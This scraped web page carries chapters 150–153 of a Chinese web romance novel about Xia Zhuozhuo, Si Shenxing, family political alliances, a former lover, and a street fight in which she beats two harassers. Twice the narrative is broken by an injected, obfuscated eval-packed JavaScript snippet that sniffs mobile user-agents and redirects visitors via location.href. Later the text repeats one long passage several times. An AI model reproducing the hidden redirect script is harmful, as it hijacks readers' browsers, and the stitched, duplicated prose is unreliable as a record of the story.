别人就算查到他跟夏家有联系,也只是患者和医生的关系。 “多谢夏小姐,我送你下楼。” “不用,您在这儿好好休息,我自己下去就好。” 夏灼灼客客气气地婉拒,很快迈步离开了。 她一下楼,司慎行就从椅子上站了起来,目光炯炯盯着她。 第150章 堂而皇之地利用他 夏灼灼神色平静,对上了司慎行的视线。 两个人虽然认识不久,但莫名有种奇异的默契。 司慎行只看一眼就明白了,这件事,只成了七成,夏灼灼没有十成十的把握。 而夏灼灼,也给了司慎行一个信号。 他刚才保证了,会让她百分百放下顾虑,那么剩下的三成,就是看司慎行的诚意够不够足。 如果连这点事都办不到,想彻底消除她的顾虑是不可能的。 换言之——她在堂而皇之地利用他。 司慎行最讨厌被人利用。 但被夏灼灼利用,他甘之如醴。 至少,这是一个被夏灼灼信任的机会。 他不想失去这个机会。 两人眼神交汇不过是两秒钟时间,夏灼灼已然恢复了平常的神色,来到冯太太面前。 “冯太太,我今天打扰太久了,妈妈身体也有点疲惫,我就先跟她一起回去了。” 冯太太点头,又说:“冯太太太生分,你就跟慎行一样,叫我暖姐吧。” 夏灼灼微笑着喊:“暖姐。” 冯太太一点头,主动送夏灼灼出去。 而司慎行则是如同这屋子的主人一般,轻车熟路往楼上走。 他甚至连门都没敲,就开门进了冯邵阳的书房。 听到动静,冯邵阳眉头一拧。 可看到来人后,紧拧的眉头立刻舒展开了。 两个人的关系可见很好。 “你来了,快进来,我有个事情想问问你的意见。” 冯邵阳朝司慎行招手。 司慎行走过去,就看到冯邵阳盯着一个匣子发呆。 坐近后,他看到匣子里放着一本《棋中秘》。 “这是一鸣先生的收藏,怎么会……” 话还没说完,司慎行已经猜到了来历。 是夏灼灼给冯邵阳的。 果然是不出手则已,一出手就送到人的心坎里。 他薄唇微弯,说:“你不是一直想要这本古籍?怎么拿到了还一副愁眉苦脸的样子?” 冯邵阳苦笑一声。 “慎行,你是懂我的,你知道我为什么愁眉苦脸。” 司慎行又笑了一声。 “按我说,你就收下来。” “可是……这跟我一贯的行事作风不符合。而且安安还小,温暖又太年轻,我不想让他们跟着我经历风浪。” “但你有没有想过,不站队,也是一种站队。而且还会成为 两方势力的争夺点。中立会遇到的硝烟,不比站队后的少。” 冯邵阳抬眼看向他。 “可你们司家,不也是中立派吗?” 司慎行意味深长地说:“中立,是因为我们还没有做选择。” “那你们的选择是……?” “我跟夏灼灼有婚约,我们早晚是要结婚的。” 一句像是跟这件事完全无关的题外话,却已经说明了一切。 司慎行,站党家。 可在这之前,冯邵阳一直以为,司家,明面上是中立,但背地里站的是窦家。 怔愣间,司慎行已经拿起了那本《棋中秘》,放到了冯邵阳怀里。 “你爱而不得的东西现在已经拿到了,哪有推开的道理?收着吧,我保你不会站错边。” 冯邵阳抱住那本古籍,良久没说话。 但眸色已经出现了变化。 第二天,司慎行上门来到夏家。 他发现,自己每一次来到夏家,心情都不一样。 第一次来,是带着新奇,参加夏灼灼的接风宴。 第二次受邀来吃饭,是带着势在必得的决心。 第三次,也就是这次,他莫名有些紧张。 跟夏灼灼挑明心意后,她全然没有女孩子该有的娇羞,而是用实际行动,跟他谈起了生意。 恋爱当生意来谈,也就只有夏灼灼了。 夏管家很快通报了夏太太。 夏灼灼跟夏太太一起下楼。 司慎行先喝了夏太太替他倒的凉茶,随后才把一张药方放到茶几上。 “阳哥来沪城水土不服,灼灼给他留了个药方,但可能是担心您身体,她没有写药材的克重,所以阳哥让我拿方子过来问。” 夏灼灼心领神会,夏太太却还在茫然中。 直到夏灼灼把克重补了上去,夏太太才反应过来——她的女儿,替自己完成了原本几乎不可能完成的事。 她喜不自禁,站起身说:“慎行,你还没吃午饭吧?不嫌弃的话,留下来吃?我亲自下厨。” 司慎行没回答,而是看了夏灼灼一眼,用眼神询问她,他是否能留下来吃饭。 他询问的意思太明显,导致夏太太也看了过来。 夏灼灼没法拒绝,于情于理,她都不能把人赶走。 “正好是饭点,你要是不着急走就留下来吃饭吧。” “我不着急。”司慎行说。 夏太太便去厨房忙活了。 夏灼灼不想跟 司慎行独处。 她知道他的好,也看到了他的诚意,但又害怕自己的身份被司慎行知道,从而给暗部带来麻烦。 所以看着司慎行,她就不能心平气和,所以也去了厨房帮忙。 今天家里其他的哥哥都不在家,忙各自的事情,只有夏怀征这个腿脚不方便的人留在家里。 他跟司慎行在茶室说了好一会儿话。 扯东扯西,最终扯到了夏灼灼身上。 “小七是个好女孩,她虽然在外面长大,但是没长歪。甚至,比我们几个都要优秀很多倍。” 司慎行点头:“她的确很优秀。” “所以……”夏怀征深深看了司慎行一眼,说:“我们兄弟几个,都把她当成世间最珍贵的礼物,舍不得她受半点委屈。如果有人欺负了他,我们就算拼了几条命不要,也要那个人付出代价。” 这是警告,也是试探。 司慎行当然听得懂。 他露出从未有过的严肃表情说:“请相信我,我跟你们一样,也舍不得她受半点委屈。当然,你可以不相信我,但应该相信灼灼,她不是个会让自己受委屈的人。我要是让她受委屈了,用不着你们出手,她自己就会让我付出惨痛代价。” 这倒是。 正好开饭了。 司慎行是临时来的,家里饭菜没有上次丰盛,却……比上次更好吃。 他是个口味很挑剔的人,但今天的饭菜,他挑不出半点毛病。 司慎行看向夏灼灼。 “这是你做的?” 夏灼灼“嗯”了一声,只听司慎行说:“很好吃。” 夏灼灼说了句“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15204475|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢”,没有再多的话了。 等午餐结束,夏太太让夏灼灼送司慎行出门。 正好她有话单独问司慎行。 等两人出门,沿着鹅卵石路往外走时,夏灼灼开口道:“冯家的事,谢了。” 司慎行停下脚步,定睛看着她。 他的眼珠子很黑,像是黑曜石一般,又黑又亮。 被他直视着,像是任何事情都逃脱不了他的掌握。 夏灼灼不喜欢这种感觉。 她向来都是居于人上的,不喜欢被人掌握。 夏灼灼稍稍别开了眼,避免跟司慎行对视。 只听司慎行问:“我算是通过了你第一道考验了吗?” “?”夏灼灼露出一个疑惑的表情。 司慎行无奈一笑:“难道是我会错意了?昨天在冯家,你那个眼神,不是说让 我帮你说话?” 夏灼灼坦然道:“我是在拜托你帮忙,但这不是考验。” “那是什么?” “我以为我们目标一致,让冯邵阳倒向党系,不也是你所希望的吗?” “我问的是,那你对我的考验是什么?” 夏灼灼动了动唇,说:“难道对你来说,我比党窦之争更要紧?” “当然。” “你撒谎。” 司慎行突然一伸手,肌肉线条分明的精壮手臂紧紧搂住她的细腰,将她拉到自己怀里。 “放开!” 她反手就要牵制住司慎行的手,但自己的两只手也被司慎行抓住。 他的力气和身手,竟在她之上。 她心里一恼,正要用脚踢他,就听他说:“别误会,我只是想让你凑近看看我,看我的眼睛是不是在撒谎。” 夏灼灼停了挣扎的动作,近距离地、认认真真地打量司慎行。 那双黑眸里盛着的,只有她的倒影。 他很认真。 夏灼灼分辨不出半点谎色。 她忽而咬住了下唇,错开眼说:“男人撒谎有天赋,或者说,男人擅长自己骗自己。” 骗过了自己,就更容易骗别人。 司慎行自嘲一声,说:“我真该去查一查以前伤了你心的人是谁,然后杀了他。” 夏灼灼眉心一蹙。 就听司慎行说:“这个男人罪孽深重,让你对所有男性产生了巨大的误解。” “不是误解,实话而已。” “……好,那我会让你知道,不是所有男人都跟你的前男友一样。或者说,你以前认识的那个男人,不算男人。而我,是真正的男人。真正的男人是不会变心的,他们懂什么叫责任。” 夏灼灼下意识攥紧手心。 “你现在可以放开我了吗?” 两人身体贴合,只隔着两层衣料,热度能互相传播,让她很不自在。 司慎行一挑眉,终于松开了她。 临走的时候,司慎行问了她一个问题。 “你真的不记得泉灵山庄的事了吗?” 夏灼灼一头雾水。 “泉灵山庄发生了什么事?” 他怎么一而再再而三地提起? 司慎行没说话了。 阿麦见他过来,忙下车跑到后座,替司慎行拉开车门。 坐进去后,他开口道:“让你的三哥小心点,司珏羽来沪城了。” 第151章 前男友 司慎行的两辆车很快开走。 前面那辆是开路的司慎行坐在后面那辆由阿麦亲自开车。 夏灼灼一直目送两辆车直到两辆车都消失在视线里拐入路口不见她这才轻轻摁住了胸口。 她的心跳刚才一直跳得很快。 而在这之前只有宗域……带给她过这种感觉。 从上次夏太太邀请司慎行来夏家吃饭她就已经意识到自己对司慎行跟对其他男人不一样。 可这种感觉让她如临大敌。 她不是一个人她身后有一整个团队。 靠近司慎行就等于靠近暴露自己身份的危险。 所以那一天 可她能控制自己的行动和言语却控制不了自己的心跳。 不可否认司慎行的确是一个很容易让人着迷的人。 他就像是一朵玫瑰好看却带着刺。 想拥有他就得先计算自己能不能做好被他刺伤的准备。 夏灼灼自认为是个胆小的人在感情上尤其如此。 正所谓一朝被蛇咬十年怕井绳她最终还是克制住了自己快速跳动的心跳慢慢归于平静。 回到客厅夏怀征已经上楼去了。 夏管家和许姨也不知道去了哪里只有夏太太在客厅。 夏太太之前身体一直不好许姨一向是对她寸步不离。 现在许姨不知道去了哪里夏灼灼就知道夏太太是故意把人全都支开了。 或许有些事情今天要跟夏太太说清楚了。 夏太太的身体已经大好她能承受住了。 夏灼灼几步走到了夏太太身边挨着她坐了下去。 “灼灼……”夏太太果然开口了:“你把冯家的事情办得很好妈很高兴也很感激你。” 夏灼灼握住夏太太的手。 “妈母女之间不说谢。” “好不说谢。”夏太太微笑眼底却隐有泪光。 “怎么哭了?” “妈只是在想我们这些年什么都没给你你却给予了我们这么多东西我、我不知道该怎么回报你。” 夏灼灼把头搭在夏太太的肩膀上。 “以前其他人放学有妈妈接送我只有我自己一个人……那个时候我就在想如果我也有妈妈送我就好了。现在我真的有了我已经很知足您的存在就是对我最大的回报。” 她现在是有家、 有妈妈的人了。 夏太太潸然泪下。 “是妈妈的错这么多年才把你找回来一回来就让你受苦……” “我没有受苦妈我做的这些事都是我心甘情愿的。” 一开始她并不愿意为夏家做太多的事。 可后来他们以真心对她她才卸下心防。 夏太太擦了擦眼泪坐直身子。 夏灼灼也坐正了认真凝视着夏太太。 “妈如果你有什么想知道的我现在都可以告诉你。” 夏太太却是摇摇头。 “妈什么都不用知道只有一句话想问你。” “您说。” “你现在……为谁做事?做的事情有危险吗?” “为我自己有危险但我能应对。” “好。”夏太太点头:“这就够了。” 其他的她什么都不需要知道。 夏灼灼很意外。 她以为夏太太会打破砂锅问到底却没想到她只关心一件事那就是她是否安全。 得知她能应对夏太太就什么都不问了。 原来真正的亲情是这样的。 “谢谢你妈。” 她原本还有些为难不知道要不要把自己跟暗部的关系说出来。 但现在她知道自己的担心多余了。 也清楚夏太太其实早就预感到她的不普通 她给予她绝对的自由和信任。 夏太太莞尔一笑替她拢紧额前的碎发。 “傻女儿刚才不是说一家人不说谢吗?” 夏灼灼也笑了。 等到天色暗下来夏灼灼说自己要出门一趟。 夏太太没问她要去哪儿只说:“注意安全。” 夏灼灼点头出门去了趟暗部。 暗部的地下工程已经初见雏形。 再有一个月差不多就能开始软装了。 “你们的效率很高。”夏灼灼说。 谷仔笑着说:“多亏了金虎有他帮忙我们才能这么快否则工期至少延长一半。” 夏灼灼点头。 “从明天开始在京都那边做出一些动作演一演戏让盯着我们的人都知道暗部已经不成气候了。” “是。” 说完正事夏灼灼单独把谷仔单独叫到一个房间。 “替我查一查这一年内泉灵山庄有没有发生过什么事。” 谷仔的表情一僵,但他反应很快,转瞬就恢复了从容,没让夏灼灼注意到他神色的变化。 他问道:“好好的,怎么突然查泉灵山庄了?” 夏灼灼平静地说:“一个朋友跟我提起泉灵山庄好几次,我觉得那里可能有古怪。” 谷仔不着痕迹地问:“那从哪个方向查起?” 夏灼灼摇摇头:“我也不清楚,总之,先查吧。查到什么异样都汇报给我。” 谷仔应声:“是。” 心里却已经猜到,夏灼灼说的那个“朋友”,就是司慎行。 那个抢走老大清白的混账,居然还有脸跟老大提起来? 还好他没多说,否则,要是让老大再一次犯病,他就算是冒着暗部被发现的风险,也要剁了他。 但同时,谷仔也有些庆幸。 庆幸那个人是司慎行,不是什么油腻中年男。 好歹长得英俊,老大也不算太吃亏。 不过司慎行究竟是几个意思? 提了,却又不说仔细? 正出神间,就听夏灼灼叫他的名字。 “我在。”谷仔忙回过神答应。 只听夏灼灼问:“那天之后,宗域还跟你有过联系吗?” 谷仔两秒才反应过来,夏灼灼说的“那天”,是他攻破司慎行的枫林别苑防火墙的那天。 那天的事,根本不是宗域下的单子。 是他怕夏灼灼细问,所以拿了宗域当借口。 对老大来说,“宗域”两个字就是一个禁区。 不止不让别人踏入,连她自己也不会走进去。 没想到老大今天居然自己主动提了宗域。 这是……想开了吗? 脑子里思绪过了几千个,现实中也才过两秒。 谷仔神色如常地说:“没有,没有联系了。就算联系我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15204476|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会按照您的吩咐,全部拒绝。” 夏灼灼点了下头,又问:“他现在怎么样了?” 谷仔更加意外。 老大怎么还细问起宗域来了? 她不是一直只当宗域死了,半天消息都不去问吗? 今天这究竟是怎么了? “怎么不说话?”夏灼灼问,随即露出笑容:“你放心,我不会被他的消息刺激到了。” 谷仔见她真是心平气和的样子,这才敢说。 “去年七月的时候结婚了,婚礼办得很隆重,还、还邀请了我,但是我没去。我还让其他人也都不要去。” 夏灼灼点头,问 :“结婚对象,是那个云霓吗?” “是……” 夏灼灼笑了下,也不知道是自嘲还是什么。 但胸口隐隐发闷,像是有什么东西烧起来了。 “现在他们有孩子了吗?” 她不顾自己的难受,既然问了,就问到底。 问到底,也许就彻底死心了。 “没听说有孩子。”谷仔说。 “也是。他们都还年轻,太早要孩子反而不自由,得先多享受几年二人世界。” 谷仔动了动唇,不知道该接什么话。 夏灼灼也没说话了。 两个人沉默了好一会儿,谷仔终于忍不住,大着胆子劝说道:“老大,你别伤心,宗域瞎了狗眼,才会背叛您,娶了别人。为这样的人伤心,不值得。” 夏灼灼“嗯”了声,声音是出乎她自己意料之外的平静。 “我不伤心,为他伤心,的确不值得。” 话是这么说,可心口仍是发闷。 她跟宗域在一起四年。 宗域也曾对她山盟海誓,说永不变心。 可男人的心就像夏天的天气,说变就变。 那是一个很平常的日子,她刚接完一个求医的单子,坐着车,吹着晚风往回家的路上去。 可就是在路上,她看到了路边一家花店里,宗域跟一个女孩子抱在一起。 夏灼灼认得这个女孩子。 她是宗域同一所大学毕业的,是宗域的小师妹。 夏灼灼跟宗域都是低调的人,从来不会刻意秀恩爱,所以很多人都不知道,宗域有女朋友。 这位小师妹也不知道,对宗域展开了激烈的追求。 她那个时候也吃醋,跟宗域发了一通脾气,宗域就再没有跟这个小师妹有来往。 她后来也慢慢忘了这个追求宗域的小师妹。 看到他们抱在一起,她第一反应是这个小师妹又缠上宗域了,所以她下了车,出现在他们面前。 只是原以为的宗域会跟她解释,他们抱在一起,是小师妹主动的。 却没想到,等来的,是宗域的坦白。 他说自己爱上了小师妹。 喜欢她的活泼、热情。 夏灼灼不够活泼,她从来对什么都是淡淡的。 他还说,小师妹的父母都是高官,可以帮助他直上青云,而夏灼灼什么都帮不了他。 她不记得那天自己是怎么离开那家花店的了。 只记得那个小师妹看她的眼神中透着得意,还有同情。 再后来,她就有意断绝跟宗域的任何往来。 直到今天。 第152章 调戏,动手 再之后,她生了一场病。 这场病让她性情大变。 暗部,也因此被趁虚而入,元气大伤。 具体过程,她其实记得不太清楚,只从谷仔的嘴里听说,是白家在暗部安排了卧底,才导致暗部被疯狂打压。 后来谷仔为了让她恢复正常,带她去找了一位很厉害的催眠师。 催眠师很厉害,她病情的确好转了。 也忘了催眠过程都发生了什么。 有三个月的记忆,夏灼灼是空白的。 但在那之后,她的性格变得更加寡淡。 明明也只是一个二十几岁的女生,心态却像个老太太。 做什么,都计较得失。 哪怕是认回了自己的亲人,刚回到夏家的时候,她也是抱着利用夏家七小姐的身份,为自己隐藏真实身份而去的。 直到夏家人用真心,慢慢让她敞开心扉。 “我该回去了。”夏灼灼说:“很晚了,再不回去,我妈会担心。” 她失去了宗域,但是得到了家人。 老天对她已经不薄了。 “我送您出去。”谷仔在旁边小心地说。 夏灼灼没拒绝。 走的时候,秋雨给她递上一份她今天新研究出来的小蛋糕。 “老大,如果你不开心,吃点甜的就会好一点。”秋雨说。 “谢谢。”夏灼灼弯唇笑了下,收下甜点上车,很快驱车离开。 开车回去的路上,夏灼灼想了很多。 一是,宗域已经结婚,婚姻美满,她该彻底放下了。 宗域喜欢上别的女孩子,不是她不够优秀,而是宗域眼瞎。 她不能一直活在宗域给她带来的阴影里。 二是,司慎行多次在自己面前提到泉灵山庄,而自己对此没有任何特别的记忆,那么事情应该是发生在她被催眠失去记忆的那三个月里。 她应该让谷仔着重去查那三个月期间,在泉灵山庄发生的事情。 三是,对白家的报复计划。 白家在她情绪失控生病的三个月里趁虚而入,严重打击了暗部,这笔仇,她势必要报。 对付白家,说难也不难。 白家是窦系的。 对付了白家,窦系等同于丧失一臂。 这对她、对暗部、对夏家,都有好处。 所以,针对白家的计划,得尽快开展。 思绪乱飞间,夏灼灼在等待一个红绿灯的时候,余光瞥见了一道熟悉 的身影。 是杜馨月。 她从一间酒吧出来,被两个混混模样的男人缠上。 “滚开!” 杜馨月眼底满是厌恶。 可两个男人因此更加亢奋。 “还真是一只小野猫!老子就喜欢你这样的!陪老子一晚,我给你五千块!” 杜馨月眼底厌恶更甚。 “你知道我是谁吗?我是杜家的大小姐!” “杜家?杜家算什么东西?老子还是司家的人!你嫌五千块少了是吧?那哥哥多给你加点,嗯?” 他说话间就要对杜馨月上手。 杜馨月一个耳光直接扇在男人脸上。 男人彻底怒了,对同伴说:“抓住她!老子在这里就办了这个臭娘们!” 同伴立刻上前。 杜馨月如法炮制,也要去扇那个男人的耳光。 只是这一次对方有了防备,没让她得手,反而紧紧牵制住了她的手,不忘对另一个男人说:“周哥,你爽完了,让弟弟我也爽一爽。” 男人戳着两只粗粝的手掌,色眯眯地说:“放心,少不了你小子的!” 一边说,一边就要朝杜馨月的胸口摸去。 杜馨月脸色大变。 “滚开!” 眼底,却盛满了惊恐和后悔。 她后悔自己为什么要偷偷从家里溜出来喝酒,没有带保镖。 “来人!救命!!” 杜馨月大喊着。 男人冷笑一声,说:“酒吧里吵着呢,你就算是叫破嗓子也没有人会听见。听着,跟了我,不会让你吃亏!” 说完,就朝杜馨月的唇上吻过去。 杜馨月忙别开脸,可男人的唇还是吻上了她的脸颊。 这一刻,杜馨月通体生寒,恨不能杀了眼前这个混蛋。 男人吻到了杜馨月,得意地不行,正要更放肆,后颈突然一痛,随即眼前就陷入了一片昏暗,直直朝地上摔去。 这一摔,摔得他鼻梁断裂。 疼痛感又让他清醒过来。 他恼怒地从地上爬起来,正要看清楚是什么人敢打他,衣领已经被一双纤细的巧手抓住。 他一抬眼,就看到了一个长得跟天仙似的大美人。 杜馨月很美。 她还在酒吧里面喝酒的时候他就注意到了杜馨月,一路跟着她出来。 却没想到,遇上个更美的。 他一时被迷了眼,甚至忘记自己刚才摔断了鼻梁。 直到同伴喊:“周哥!小心!” 男人这才骤然回神。 只是还没等他做什么,一个个拳头已经落在了他脸上。 本来就摔断了鼻梁的男人雪上加霜,一张脸被打的像猪头。 另一个男人立刻要上来帮忙,但被对方不过两个回合就打趴在了地上。 两个人很快口吐鲜血,趴在地上连动都动不了。 杜馨月瞠目结舌地看着这一切,好一会儿才找回自己的声音。 “夏灼灼,你……” 动手的人,正是夏灼灼。 她心里感激,但感谢的话却莫名说不出口。 然而夏灼灼却是看也不看她一眼,躬下身去,又拎起那个被叫做“周哥”男人的衣领,一拳接着一拳,狠狠打在他的脸上。 男人的被打掉了两颗牙齿,脸凹陷下去,又很快肿起来,模样连亲妈都不认识。 但他没有反抗,因为他已经痛晕过去了。 杜馨月早知道夏灼灼身手好,否则那天在药材铺,也不会被夏灼灼抢走了药材。 只是没想到,她不仅身手好,下手还狠。 ——这完全是往死里打的。 杜馨月混不吝打了个寒噤。 她在想,如果那天她最后还是没放弃那味药材,而是继续跟夏灼灼牵扯,说不定她也会被打成猪头。 不知道过了多久,大概是夏灼灼的手终于感觉到了疼痛。 她停下动作,看向另一个男人。 另一个男人见她看过来,连忙躺平,闭眼装死。 夏灼灼没管他了,而是走到杜馨月面前。 “你怎么来的?” 杜馨月反应了一下才回答:“我打车来的。” “我送你回去,不过,你得帮我把这两个东西塞到我后备箱。” 杜馨月错愕地问:“你想干什么?” “他们说,他们是司家的人,当然要物归原主。” “可万一他们是在撒谎……” “送过去就知道是不是撒谎了。” “那好。” 杜馨月答应下来,把那个叫周哥的男人先塞进了后备箱。 另一个男人很胆小,怕自己被硬塞进去折断了手脚,又睁开眼睛主动说:“我能动,我自己爬进去。” 夏灼灼冷眼道:“速度。” 男人一溜烟,自己就爬进了后备箱,还找了个很舒适的动作。 看到这两个不成器的东西,夏灼灼对他们的身份已经有了一个猜测 。 她“嘭”一声盖上后备箱,又到前面把后备箱锁死,随后问杜馨月:“送你到哪里?” “你不用我跟着一起去吗?” “不用。” 杜馨月“哦”了一声,她心里也不想跟那两个恶心的男人再扯上什么关系,所以也没坚持。 上车后道:“送我回家就好。你去过的。” 夏灼灼再没说话,专心开车。 杜馨月有点惊讶。 “你不用开导航?” “你自己不是也说了,我去过一次。” “去过一次,你就能记住?” 夏灼灼没说话,脸上的表情已经回答了。 她也不是天生记忆力超群,只是在进入无数个平行空间的时候,学习过一些记忆课。 这对加强记忆有很大的帮助。 没几个人是真正的天才,不过是她比别人更肯下苦功夫,所以才能完美完成系统给的任务,活着回到原来的世界。 一路沉默着,杜馨月可能有些不自在,主动开口搭话:“你是怎么认识江泽的?为什么让我去查他?” “你查了,就知道我为什么认识他。” “你直接跟我说,岂不是更方便?” 夏灼灼用余光看她一眼。 “我们是朋友吗?” 杜馨月下意识开口:“当然不是。” 夏灼灼道:“那不就是了?我们连朋友都不是,甚至算得上是敌人,敌人说的话你会信?” “……”杜馨月别开脸,看向车窗外。 因为她知道,夏灼灼说的是事实。 她就算说了,自己也不会信。 唯有亲自去查。 车子很快开到了杜家。 杜馨月终于还是放下了自己的骄傲,在下车前说了一句谢谢。 “不用。”夏灼灼神色淡淡:“是你自己运气好,正好碰上我今天心情不好。” 那两个男人,是她的出气筒。 不可否认,打了他们一顿之后,她现在心情舒坦很多。 杜馨月没再多说什么,只留下一句“如果需要我作证,随时找我”,便转头走了。 夏灼灼没有停留,直接驱车,去了枫林别墅区。 本以为要下车按门铃,没想到右上角的摄像头发出“滴——”一声,随后响起机械女声的声音:“识别成功,请进。” “……” 夏灼灼想起来了。 上次她跟夏怀武离开古武堂之后一起被带到了这里,阿麦和霍刚把她的人像资料录入了人像识别系统。 只是她惊讶自己走了之后,他们居然没把她的人像删除。 。 她“嘭”一声盖上后备箱,又到前面把后备箱锁死,随后问杜馨月:“送你到哪里?” “你不用我跟着一起去吗?” “不用。” 杜馨月“哦”了一声,她心里也不想跟那两个恶心的男人再扯上什么关系,所以也没坚持。 上车后道:“送我回家就好。你去过的。” 夏灼灼再没说话,专心开车。 杜馨月有点惊讶。 “你不用开导航?” “你自己不是也说了,我去过一次。” “去过一次,你就能记住?” 夏灼灼没说话,脸上的表情已经回答了。 她也不是天生记忆力超群,只是在进入无数个平行空间的时候,学习过一些记忆课。 这对加强记忆有很大的帮助。 没几个人是真正的天才,不过是她比别人更肯下苦功夫,所以才能完美完成系统给的任务,活着回到原来的世界。 一路沉默着,杜馨月可能有些不自在,主动开口搭话:“你是怎么认识江泽的?为什么让我去查他?” “你查了,就知道我为什么认识他。” “你直接跟我说,岂不是更方便?” 夏灼灼用余光看她一眼。 “我们是朋友吗?” 杜馨月下意识开口:“当然不是。” 夏灼灼道:“那不就是了?我们连朋友都不是,甚至算得上是敌人,敌人说的话你会信?” “……”杜馨月别开脸,看向车窗外。 因为她知道,夏灼灼说的是事实。 她就算说了,自己也不会信。 唯有亲自去查。 车子很快开到了杜家。 杜馨月终于还是放下了自己的骄傲,在下车前说了一句谢谢。 “不用。”夏灼灼神色淡淡:“是你自己运气好,正好碰上我今天心情不好。” 那两个男人,是她的出气筒。 不可否认,打了他们一顿之后,她现在心情舒坦很多。 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车子很快开到了杜家。 杜馨月终于还是放下了自己的骄傲,在下车前说了一句谢谢。 “不用。”夏灼灼神色淡淡:“是你自己运气好,正好碰上我今天心情不好。” 那两个男人,是她的出气筒。 不可否认,打了他们一顿之后,她现在心情舒坦很多。 杜馨月没再多说什么,只留下一句“如果需要我作证,随时找我”,便转头走了。 夏灼灼没有停留,直接驱车,去了枫林别墅区。 本以为要下车按门铃,没想到右上角的摄像头发出“滴——”一声,随后响起机械女声的声音:“识别成功,请进。” “……” 夏灼灼想起来了。 上次她跟夏怀武离开古武堂之后一起被带到了这里,阿麦和霍刚把她的人像资料录入了人像识别系统。 只是她惊讶自己走了之后,他们居然没把她的人像删除。 。 她“嘭”一声盖上后备箱,又到前面把后备箱锁死,随后问杜馨月:“送你到哪里?” “你不用我跟着一起去吗?” “不用。” 杜馨月“哦”了一声,她心里也不想跟那两个恶心的男人再扯上什么关系,所以也没坚持。 上车后道:“送我回家就好。你去过的。” 夏灼灼再没说话,专心开车。 杜馨月有点惊讶。 “你不用开导航?” “你自己不是也说了,我去过一次。” “去过一次,你就能记住?” 夏灼灼没说话,脸上的表情已经回答了。 她也不是天生记忆力超群,只是在进入无数个平行空间的时候,学习过一些记忆课。 这对加强记忆有很大的帮助。 没几个人是真正的天才,不过是她比别人更肯下苦功夫,所以才能完美完成系统给的任务,活着回到原来的世界。 一路沉默着,杜馨月可能有些不自在,主动开口搭话:“你是怎么认识江泽的?为什么让我去查他?” “你查了,就知道我为什么认识他。” “你直接跟我说,岂不是更方便?” 夏灼灼用余光看她一眼。 “我们是朋友吗?” 杜馨月下意识开口:“当然不是。” 夏灼灼道:“那不就是了?我们连朋友都不是,甚至算得上是敌人,敌人说的话你会信?” “……”杜馨月别开脸,看向车窗外。 因为她知道,夏灼灼说的是事实。 她就算说了,自己也不会信。 唯有亲自去查。 车子很快开到了杜家。 杜馨月终于还是放下了自己的骄傲,在下车前说了一句谢谢。 “不用。”夏灼灼神色淡淡:“是你自己运气好,正好碰上我今天心情不好。” 那两个男人,是她的出气筒。 不可否认,打了他们一顿之后,她现在心情舒坦很多。 杜馨月没再多说什么,只留下一句“如果需要我作证,随时找我”,便转头走了。 夏灼灼没有停留,直接驱车,去了枫林别墅区。 本以为要下车按门铃,没想到右上角的摄像头发出“滴——”一声,随后响起机械女声的声音:“识别成功,请进。” “……” 夏灼灼想起来了。 上次她跟夏怀武离开古武堂之后一起被带到了这里,阿麦和霍刚把她的人像资料录入了人像识别系统。 只是她惊讶自己走了之后,他们居然没把她的人像删除。 第153章 什么时候能亲你? 不过只惊讶了一瞬,夏灼灼就反应过来了。 应该是阿麦和霍刚他们也察觉出了司慎行的心意,所以她的待遇跟其他人自然不同。 意识到这一点后,她的心情不算有多好,只是觉得今晚的月色也没有那么糟糕。 大门在这时候彻底打开。 夏灼灼瞥见门口没有安保人员,便直接把车子开了进去。 她是第二次来,车子精准地找到主楼。 在门前停下后,阿麦带着两个手下小跑着迎上前。 早在人像验证成功之后,枫林别墅的人都知道夏灼灼来了。 他恭敬地微弓着身,替夏灼灼拉开了车门。 “夏小姐,这么晚了,您怎么突然过来了?” 说罢,又怕夏灼灼误会他的意思,怕她误以为是他不欢迎她,所以又补了一句。 “您提前打声招呼,我也好让他们准备好招待您的东西。” “不用,我不是来做客的。司慎行呢?” 阿麦道:“少爷刚才在健身房,知道您来了,就去换衣服去了。” 夏灼灼微微点头,说:“你先把后备箱打开吧。” 车子不开动的时候,车内的气流不流通,她怕里面两个人闷死。 阿麦应“是”,随后带着狐疑,打开了后备箱。 后备箱一打开,醒着的那位终于控制不住,当即吐了。 “呕——” 呕吐物有的吐到了外面,有的吐在后备箱里。 一片狼藉。 阿麦眉头紧拧。 夏灼灼的后备箱塞了两个人,而且其中一个不知死活,这是他完全没想到的。 不过少爷没到,他也没有多问,只吩咐手下:“搬出来。” 很快两个人就被生拖了出来。 “这两个人……” 夏灼灼刚开口,主楼门口就急匆匆走出来一个人。 司慎行早在知道夏灼灼来了那一刻,就要跑出来接她。 可路过一面反光镜,看到浑身是汗的自己,他又改了主意,让阿麦先出去,自己则是快步来到楼上冲了个澡。 怕夏灼灼等急,他头发也不吹,套了件深蓝色的家居服就跑出来了。 只是走到门口的时候,特意放缓了脚步,显出一副从容不迫的样子。 心里在意她,但不能表现得太明显。 否则他会显得很廉价。 ——这是司慎行一边健身,一边听恋爱电台得出来的经验。 可看到夏灼灼站在不远处,什么恋爱电台,什么男人的尊严,他都顾不上了,三步并作两步就过来了。 “大半夜的,你怎么……” 话说到一半,他看到了被阿麦的人丢在地上的两个家伙。 其中一个,脸肿的妈不认,昏迷不醒。 